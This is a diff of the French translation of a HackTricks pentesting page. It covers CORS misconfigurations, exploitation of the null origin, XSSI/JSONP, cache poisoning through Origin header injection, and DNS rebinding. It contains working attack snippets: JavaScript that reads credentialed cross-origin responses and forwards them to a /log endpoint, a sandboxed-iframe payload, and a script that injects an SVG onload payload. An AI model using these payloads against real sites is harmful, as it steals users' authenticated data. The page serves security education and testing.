<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,22 +14,26 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## Qu'est-ce que CORS?
|
||||
|
||||
La norme Cross-Origin Resource Sharing (CORS) **permet aux serveurs de définir qui peut accéder à leurs ressources** et **quelles méthodes de requête HTTP sont autorisées** à partir de sources externes.
|
||||
Le partage des ressources entre origines différentes (CORS) **permet aux serveurs de définir qui peut accéder à leurs ressources** et **quelles méthodes de requête HTTP sont autorisées** à partir de sources externes.
|
||||
|
||||
Une politique de **même origine** exige qu'un **serveur demandant** une ressource et le serveur hébergeant la **ressource** partagent le même protocole (par exemple, `http://`), nom de domaine (par exemple, `internal-web.com`), et **port** (par exemple, 80). Selon cette politique, seules les pages web du même domaine et port sont autorisées à accéder aux ressources.
|
||||
|
||||
L'application de la politique de même origine dans le contexte de `http://normal-website.com/example/example.html` est illustrée comme suit:
|
||||
L'application de la politique de même origine dans le contexte de `http://normal-website.com/example/example.html` est illustrée comme suit :
|
||||
|
||||
| URL accédée | Accès autorisé? |
|
||||
| URL accédée | Accès autorisé? |
|
||||
| ----------------------------------------- | --------------------------------------- |
|
||||
| `http://normal-website.com/example/` | Oui: Schéma, domaine et port identiques |
|
||||
| `http://normal-website.com/example2/` | Oui: Schéma, domaine et port identiques |
|
||||
| `https://normal-website.com/example/` | Non: Schéma et port différents |
|
||||
| `http://en.normal-website.com/example/` | Non: Domaine différent |
|
||||
| `http://www.normal-website.com/example/` | Non: Domaine différent |
|
||||
| `http://normal-website.com:8080/example/` | Non: Port différent\* |
|
||||
| `http://normal-website.com/example/` | Oui : Schéma, domaine et port identiques |
|
||||
| `http://normal-website.com/example2/` | Oui : Schéma, domaine et port identiques |
|
||||
| `https://normal-website.com/example/` | Non : Schéma et port différents |
|
||||
| `http://en.normal-website.com/example/` | Non : Domaine différent |
|
||||
| `http://www.normal-website.com/example/` | Non : Domaine différent |
|
||||
| `http://normal-website.com:8080/example/` | Non : Port différent\* |
|
||||
|
||||
\*Internet Explorer ignore le numéro de port dans l'application de la politique de même origine, permettant ainsi cet accès.
|
||||
|
||||
|
@ -41,7 +45,7 @@ Cet en-tête est **émis par un serveur** en réponse à une requête de ressour
|
|||
|
||||
### En-tête `Access-Control-Allow-Credentials`
|
||||
|
||||
Par **défaut**, les requêtes entre domaines sont effectuées sans informations d'identification telles que les cookies ou l'en-tête d'autorisation. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**.
|
||||
Par **défaut**, les requêtes entre origines sont effectuées sans informations d'identification telles que des cookies ou l'en-tête d'autorisation. Cependant, un serveur entre domaines peut autoriser la lecture de la réponse lorsque des informations d'identification sont envoyées en définissant l'en-tête `Access-Control-Allow-Credentials` sur **`true`**.
|
||||
|
||||
Si défini sur `true`, le navigateur transmettra les informations d'identification (cookies, en-têtes d'autorisation ou certificats client TLS).
|
||||
```javascript
|
||||
|
@ -70,17 +74,17 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
|
|||
xhr.onreadystatechange = handler;
|
||||
xhr.send('<person><name>Arun</name></person>');
|
||||
```
|
||||
### Requête de pré-vérification CSRF
|
||||
### Requête de pré-vol CSRF
|
||||
|
||||
### Comprendre les requêtes de pré-vérification dans la communication inter-domaines
|
||||
### Comprendre les requêtes de pré-vol dans la communication inter-domaines
|
||||
|
||||
Lors de l'initiation d'une requête inter-domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vérification peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête inter-origines, y compris les méthodes HTTP et les en-têtes qu'elle a l'intention d'utiliser.
|
||||
Lors de l'initiation d'une requête inter-domaines dans des conditions spécifiques, telles que l'utilisation d'une **méthode HTTP non standard** (autre que HEAD, GET, POST), l'introduction de nouveaux **en-têtes**, ou l'utilisation d'une valeur spéciale d'en-tête **Content-Type**, une requête de pré-vol peut être nécessaire. Cette requête préliminaire, utilisant la méthode **`OPTIONS`**, sert à informer le serveur des intentions de la future requête inter-origines, y compris les méthodes HTTP et les en-têtes qu'elle a l'intention d'utiliser.
|
||||
|
||||
Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification préalable pour déterminer la faisabilité de l'opération inter-origines demandée en vérifiant les méthodes autorisées, les en-têtes et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vérification, consultez le guide complet fourni par [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
Le protocole **Cross-Origin Resource Sharing (CORS)** impose cette vérification de pré-vol pour déterminer la faisabilité de l'opération inter-origines demandée en vérifiant les méthodes autorisées, les en-têtes et la fiabilité de l'origine. Pour une compréhension détaillée des conditions qui contournent le besoin d'une requête de pré-vol, consultez le guide complet fourni par [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests).
|
||||
|
||||
Il est crucial de noter que **l'absence d'une requête de pré-vérification n'élimine pas le besoin pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête inter-origines.
|
||||
Il est crucial de noter que **l'absence d'une requête de pré-vol n'élimine pas l'obligation pour la réponse de contenir des en-têtes d'autorisation**. Sans ces en-têtes, le navigateur est incapable de traiter la réponse de la requête inter-origines.
|
||||
|
||||
Considérez l'illustration suivante d'une requête de pré-vérification visant à utiliser la méthode `PUT` avec un en-tête personnalisé nommé `Special-Request-Header`:
|
||||
Considérez l'illustration suivante d'une requête de pré-vol visant à utiliser la méthode `PUT` avec un en-tête personnalisé nommé `Special-Request-Header`:
|
||||
```
|
||||
OPTIONS /info HTTP/1.1
|
||||
Host: example2.com
|
||||
|
@ -99,7 +103,7 @@ Access-Control-Allow-Headers: Authorization
|
|||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* **`Access-Control-Allow-Headers`**: Ce header spécifie les en-têtes qui peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client.
|
||||
* **`Access-Control-Allow-Headers`**: Ce header spécifie quels en-têtes peuvent être utilisés lors de la requête réelle. Il est défini par le serveur pour indiquer les en-têtes autorisés dans les requêtes du client.
|
||||
* **`Access-Control-Expose-Headers`**: À travers ce header, le serveur informe le client des en-têtes qui peuvent être exposés en plus des en-têtes de réponse simples.
|
||||
* **`Access-Control-Max-Age`**: Ce header indique pendant combien de temps les résultats d'une requête pré-vol peuvent être mis en cache. Le serveur définit le temps maximum, en secondes, pendant lequel les informations renvoyées par une requête pré-vol peuvent être réutilisées.
|
||||
* **`Access-Control-Request-Headers`**: Utilisé dans les requêtes pré-vol, ce header est défini par le client pour informer le serveur des en-têtes HTTP que le client souhaite utiliser dans la requête réelle.
|
||||
|
@ -154,7 +158,7 @@ location='/log?key='+this.responseText;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
### Exploiter l'origine `null`
|
||||
### Exploitation de l'origine `null`
|
||||
|
||||
L'origine `null`, spécifiée pour des situations telles que les redirections ou les fichiers HTML locaux, occupe une position unique. Certaines applications ajoutent cette origine à leur liste blanche pour faciliter le développement local, permettant involontairement à n'importe quel site web de simuler une origine `null` via un iframe sandboxé, contournant ainsi les restrictions CORS.
|
||||
```html
|
||||
|
@ -198,7 +202,7 @@ Les modèles Regex se concentrent généralement sur les caractères alphanumér
|
|||
|
||||
Les développeurs mettent souvent en place des mécanismes de défense pour se protéger contre l'exploitation de CORS en autorisant les domaines à demander des informations. Malgré ces précautions, la sécurité du système n'est pas infaillible. La présence d'un seul sous-domaine vulnérable parmi les domaines autorisés peut ouvrir la porte à l'exploitation de CORS à travers d'autres vulnérabilités, telles que XSS (Cross-Site Scripting).
|
||||
|
||||
Pour illustrer, considérons le scénario où un domaine, `requester.com`, est autorisé à accéder aux ressources d'un autre domaine, `provider.com`. La configuration côté serveur pourrait ressembler à ceci :
|
||||
Pour illustrer, considérez le scénario où un domaine, `requester.com`, est autorisé à accéder aux ressources d'un autre domaine, `provider.com`. La configuration côté serveur pourrait ressembler à ceci :
|
||||
```javascript
|
||||
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
|
||||
// Access data
|
||||
|
@ -212,7 +216,7 @@ Dans cette configuration, tous les sous-domaines de `requester.com` sont autoris
|
|||
|
||||
[**À partir de cette recherche**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
|
||||
|
||||
Il est possible qu'en exploitant l'empoisonnement du cache côté serveur via l'injection d'en-têtes HTTP, une vulnérabilité XSS stockée puisse être induite. Ce scénario se déroule lorsque qu'une application ne nettoie pas l'en-tête `Origin` des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et Edge. Ces navigateurs considèrent (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-têtes HTTP.
|
||||
Il est possible qu'en exploitant l'empoisonnement du cache côté serveur via une injection d'en-tête HTTP, une vulnérabilité de script intersite stocké (XSS) puisse être induite. Ce scénario se déroule lorsque qu'une application ne nettoie pas l'en-tête `Origin` des caractères illégaux, créant une vulnérabilité particulièrement pour les utilisateurs d'Internet Explorer et Edge. Ces navigateurs considèrent (0x0d) comme un terminateur d'en-tête HTTP légitime, entraînant des vulnérabilités d'injection d'en-tête HTTP.
|
||||
|
||||
Considérez la requête suivante où l'en-tête `Origin` est manipulé:
|
||||
```
|
||||
|
@ -225,11 +229,11 @@ HTTP/1.1 200 OK
|
|||
Access-Control-Allow-Origin: z
|
||||
Content-Type: text/html; charset=UTF-7
|
||||
```
|
||||
Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait entraîner la sauvegarde de la réponse dans un cache côté serveur et sa diffusion involontaire à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes.
|
||||
Bien que l'exploitation directe de cette vulnérabilité en faisant envoyer un en-tête malformé par un navigateur web ne soit pas réalisable, une requête personnalisée peut être générée manuellement à l'aide d'outils comme Burp Suite. Cette méthode pourrait amener un cache côté serveur à enregistrer la réponse et à la servir involontairement à d'autres. La charge utile personnalisée vise à modifier l'ensemble de caractères de la page en UTF-7, un encodage de caractères souvent associé aux vulnérabilités XSS en raison de sa capacité à encoder des caractères de manière à pouvoir être exécutés comme script dans certains contextes.
|
||||
|
||||
Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||||
|
||||
**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance cruciale de valider et de désinfecter toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités.
|
||||
**Remarque** : L'exploitation des vulnérabilités d'injection d'en-tête HTTP, en particulier via l'empoisonnement du cache côté serveur, souligne l'importance critique de valider et de nettoyer toutes les entrées fournies par l'utilisateur, y compris les en-têtes HTTP. Employez toujours un modèle de sécurité robuste qui inclut une validation des entrées pour prévenir de telles vulnérabilités.
|
||||
|
||||
### **Empoisonnement du cache côté client**
|
||||
|
||||
|
@ -237,9 +241,9 @@ Pour plus d'informations sur les vulnérabilités XSS stockées, consultez [Port
|
|||
|
||||
Dans ce scénario, une instance d'une page web reflétant le contenu d'un en-tête HTTP personnalisé sans codage approprié est observée. Plus précisément, la page web reflète le contenu inclus dans un en-tête `X-User-id`, qui pourrait inclure du JavaScript malveillant, comme le montre l'exemple où l'en-tête contient une balise d'image SVG conçue pour exécuter du code JavaScript lors du chargement.
|
||||
|
||||
Les politiques de partage des ressources entre origines (CORS) permettent l'envoi d'en-têtes personnalisés. Cependant, sans que la réponse soit directement rendue par le navigateur en raison des restrictions CORS, l'utilité d'une telle injection pourrait sembler limitée. Le point critique survient lors de la prise en compte du comportement du cache du navigateur. Si l'en-tête `Vary: Origin` n'est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l'URL, contournant ainsi le besoin de rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l'attaque en exploitant le cache côté client.
|
||||
Les politiques de partage des ressources entre origines (CORS) permettent l'envoi d'en-têtes personnalisés. Cependant, sans que la réponse ne soit directement rendue par le navigateur en raison des restrictions CORS, l'utilité d'une telle injection pourrait sembler limitée. Le point critique survient lors de la prise en compte du comportement du cache du navigateur. Si l'en-tête `Vary: Origin` n'est pas spécifié, il devient possible que la réponse malveillante soit mise en cache par le navigateur. Par la suite, cette réponse mise en cache pourrait être rendue directement lors de la navigation vers l'URL, contournant ainsi le besoin de rendu direct lors de la requête initiale. Ce mécanisme renforce la fiabilité de l'attaque en exploitant la mise en cache côté client.
|
||||
|
||||
Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l'URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans une gestion appropriée de l'en-tête `Vary: Origin`.
|
||||
Pour illustrer cette attaque, un exemple de JavaScript est fourni, conçu pour être exécuté dans l'environnement d'une page web, par exemple via un JSFiddle. Ce script effectue une action simple : il envoie une requête à une URL spécifiée avec un en-tête personnalisé contenant le JavaScript malveillant. Après l'achèvement réussi de la requête, il tente de naviguer vers l URL cible, déclenchant potentiellement l'exécution du script injecté si la réponse a été mise en cache sans manipulation appropriée de l'en-tête `Vary: Origin`.
|
||||
|
||||
Voici un résumé du JavaScript utilisé pour exécuter cette attaque :
|
||||
```html
|
||||
|
@ -259,13 +263,13 @@ req.send();
|
|||
|
||||
XSSI, également connu sous le nom d'Inclusion de script inter-sites, est un type de vulnérabilité qui profite du fait que la Politique de même origine (SOP) ne s'applique pas lors de l'inclusion de ressources à l'aide de la balise script. Cela est dû au fait que les scripts doivent pouvoir être inclus à partir de différents domaines. Cette vulnérabilité permet à un attaquant d'accéder et de lire tout contenu inclus à l'aide de la balise script.
|
||||
|
||||
Cette vulnérabilité devient particulièrement significative lorsqu'il s'agit de JavaScript dynamique ou de JSONP (JSON avec rembourrage), surtout lorsque des informations d'autorité ambiante comme les cookies sont utilisées pour l'authentification. Lors de la demande d'une ressource à partir d'un hôte différent, les cookies sont inclus, les rendant accessibles à l'attaquant.
|
||||
Cette vulnérabilité devient particulièrement significative lorsqu'il s'agit de JavaScript dynamique ou de JSONP (JSON avec rembourrage), surtout lorsque des informations d'autorisation ambiante comme les cookies sont utilisées pour l'authentification. Lors de la demande d'une ressource à partir d'un hôte différent, les cookies sont inclus, les rendant accessibles à l'attaquant.
|
||||
|
||||
Pour mieux comprendre et atténuer cette vulnérabilité, vous pouvez utiliser le plugin BurpSuite disponible sur [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ce plugin peut aider à identifier et à résoudre les vulnérabilités XSSI potentielles dans vos applications web.
|
||||
|
||||
[**En savoir plus sur les différents types de XSSI et comment les exploiter ici.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Essayez d'ajouter un **paramètre de rappel** dans la requête. Peut-être que la page était préparée pour envoyer les données sous forme de JSONP. Dans ce cas, la page renverra les données avec `Content-Type: application/javascript`, ce qui contournera la politique CORS.
|
||||
Essayez d'ajouter un **`callback`** **paramètre** dans la requête. Peut-être que la page était préparée pour envoyer les données sous forme de JSONP. Dans ce cas, la page renverra les données avec `Content-Type: application/javascript`, ce qui contournera la politique CORS.
|
||||
|
||||
![](<../.gitbook/assets/image (853).png>)
|
||||
|
||||
|
@ -284,9 +288,9 @@ Vous pouvez **contourner les vérifications CORS** telles que `e.origin === wind
|
|||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Réattribution DNS via TTL
|
||||
### Réadressage DNS via TTL
|
||||
|
||||
La réattribution DNS via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne :
|
||||
Le réadressage DNS via TTL est une technique utilisée pour contourner certaines mesures de sécurité en manipulant les enregistrements DNS. Voici comment cela fonctionne :
|
||||
|
||||
1. L'attaquant crée une page web et fait en sorte que la victime y accède.
|
||||
2. L'attaquant modifie ensuite le DNS (IP) de son propre domaine pour pointer vers la page web de la victime.
|
||||
|
@ -296,25 +300,25 @@ La réattribution DNS via TTL est une technique utilisée pour contourner certai
|
|||
|
||||
Il est important de noter que les navigateurs disposent de mécanismes de mise en cache qui peuvent empêcher l'abus immédiat de cette technique, même avec des valeurs TTL faibles.
|
||||
|
||||
La réattribution DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant à la mise en cache d'expirer.
|
||||
Le réadressage DNS peut être utile pour contourner les vérifications IP explicites effectuées par la victime ou pour des scénarios où un utilisateur ou un bot reste sur la même page pendant une période prolongée, permettant à la mise en cache d'expirer.
|
||||
|
||||
Si vous avez besoin d'un moyen rapide d'abuser de la réattribution DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
Si vous avez besoin d'un moyen rapide d'abuser du réadressage DNS, vous pouvez utiliser des services comme [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
Pour exécuter votre propre serveur de réattribution DNS, vous pouvez utiliser des outils comme **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Cela implique d'exposer votre port local 53/udp, de créer un enregistrement A pointant vers celui-ci (par exemple, ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par exemple, ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre hôte.
|
||||
Pour exécuter votre propre serveur de réadressage DNS, vous pouvez utiliser des outils comme **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Cela implique d'exposer votre port local 53/udp, de créer un enregistrement A pointant vers celui-ci (par exemple, ns.example.com), et de créer un enregistrement NS pointant vers le sous-domaine A précédemment créé (par exemple, ns.example.com). Tout sous-domaine du sous-domaine ns.example.com sera alors résolu par votre hôte.
|
||||
|
||||
Vous pouvez également explorer un serveur en cours d'exécution publiquement sur [http://rebind.it/singularity.html](http://rebind.it/singularity.html) pour une meilleure compréhension et expérimentation.
|
||||
|
||||
### Réattribution DNS via **Inondation du cache DNS**
|
||||
### Réadressage DNS via **Inondation du cache DNS**
|
||||
|
||||
La réattribution DNS via l'inondation du cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une deuxième requête DNS. Voici comment cela fonctionne :
|
||||
Le réadressage DNS via l'inondation du cache DNS est une autre technique utilisée pour contourner le mécanisme de mise en cache des navigateurs et forcer une deuxième requête DNS. Voici comment cela fonctionne :
|
||||
|
||||
1. Initialement, lorsque la victime effectue une requête DNS, elle reçoit l'adresse IP de l'attaquant.
|
||||
2. Pour contourner la défense de mise en cache, l'attaquant exploite un worker de service. Le worker de service inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache.
|
||||
2. Pour contourner la défense de mise en cache, l'attaquant exploite un service worker. Le service worker inonde le cache DNS, ce qui supprime efficacement le nom de serveur de l'attaquant mis en cache.
|
||||
3. Lorsque le navigateur de la victime effectue une deuxième requête DNS, il reçoit maintenant l'adresse IP 127.0.0.1, qui fait généralement référence à l'localhost.
|
||||
|
||||
En inondant le cache DNS avec le worker de service, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci se résolvant à l'adresse IP souhaitée par l'attaquant.
|
||||
En inondant le cache DNS avec le service worker, l'attaquant peut manipuler le processus de résolution DNS et forcer le navigateur de la victime à effectuer une deuxième requête, cette fois-ci se résolvant à l'adresse IP souhaitée par l'attaquant.
|
||||
|
||||
### Réattribution DNS via **Cache**
|
||||
### Réadressage DNS via **Cache**
|
||||
|
||||
Une autre façon de contourner la défense de mise en cache est d'utiliser plusieurs adresses IP pour le même sous-domaine dans le fournisseur DNS. Voici comment cela fonctionne :
|
||||
|
||||
|
@ -323,12 +327,12 @@ Une autre façon de contourner la défense de mise en cache est d'utiliser plusi
|
|||
3. Si le navigateur décide d'utiliser en premier l'adresse IP de l'attaquant, l'attaquant peut servir une charge utile qui effectue des requêtes HTTP vers le même domaine.
|
||||
4. Cependant, une fois que l'attaquant obtient l'adresse IP de la victime, il cesse de répondre au navigateur de la victime.
|
||||
5. Le navigateur de la victime, en réalisant que le domaine est injoignable, passe à utiliser la deuxième adresse IP donnée.
|
||||
6. En accédant à la deuxième adresse IP, le navigateur contourne la Politique de même origine (SOP), permettant à l'attaquant d'exploiter cela pour recueillir et exfiltrer des informations.
|
||||
6. En accédant à la deuxième adresse IP, le navigateur contourne la Politique de même origine (SOP), permettant à l'attaquant d'exploiter cela et de recueillir et d'extraire des informations.
|
||||
|
||||
Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP par le navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.
|
||||
Cette technique exploite le comportement des navigateurs lorsque plusieurs adresses IP sont fournies pour un domaine. En contrôlant stratégiquement les réponses et en manipulant le choix de l'adresse IP du navigateur, un attaquant peut exploiter la SOP et accéder aux informations de la victime.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Notez que pour accéder à l'localhost, vous devriez essayer de réattribuer **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\
|
||||
Notez que pour accéder à localhost, vous devriez essayer de réadresser **127.0.0.1** sous Windows et **0.0.0.0** sous Linux.\
|
||||
Des fournisseurs tels que godaddy ou cloudflare ne m'ont pas permis d'utiliser l'IP 0.0.0.0, mais AWS route53 m'a permis de créer un enregistrement A avec 2 IPs, l'une d'entre elles étant "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
|
||||
|
@ -338,14 +342,14 @@ Pour plus d'informations, vous pouvez consulter [https://unit42.paloaltonetworks
|
|||
### Autres contournements courants
|
||||
|
||||
* Si les **adresses IP internes ne sont pas autorisées**, ils pourraient **oublier d'interdire 0.0.0.0** (fonctionne sur Linux et Mac)
|
||||
* Si les **adresses IP internes ne sont pas autorisées**, répondez avec un **CNAME** à **localhost** (fonctionne sur Linux et Mac)
|
||||
* Si les **adresses IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAMEs vers des services internes** tels que www.corporate.internal.
|
||||
* Si les **adresses IP internes ne sont pas autorisées**, répondez avec un **CNAME** vers **localhost** (fonctionne sur Linux et Mac)
|
||||
* Si les **adresses IP internes ne sont pas autorisées** en tant que réponses DNS, vous pouvez répondre avec des **CNAME vers des services internes** tels que www.corporate.internal.
|
||||
|
||||
### Arme de rebinding DNS
|
||||
### Arme DNS Rebidding Weaponized
|
||||
|
||||
Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la présentation [Gerald Doussot - État des attaques de rebinding DNS & Singularité de l'origine - Conférence DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
Vous pouvez trouver plus d'informations sur les techniques de contournement précédentes et comment utiliser l'outil suivant dans la présentation [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularité de l'origine`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour réaffecter l'adresse IP du nom DNS du serveur d'attaque à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter des logiciels vulnérables sur la machine cible.
|
||||
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour effectuer des attaques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Il comprend les composants nécessaires pour lier l'adresse IP du serveur d'attaque au nom DNS de la machine cible à l'adresse IP de la machine cible et pour servir des charges utiles d'attaque pour exploiter les logiciels vulnérables sur la machine cible.
|
||||
|
||||
### Protection réelle contre le rebinding DNS
|
||||
|
||||
|
@ -377,16 +381,21 @@ Vous pouvez trouver plus d'informations sur les techniques de contournement pré
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
|
||||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
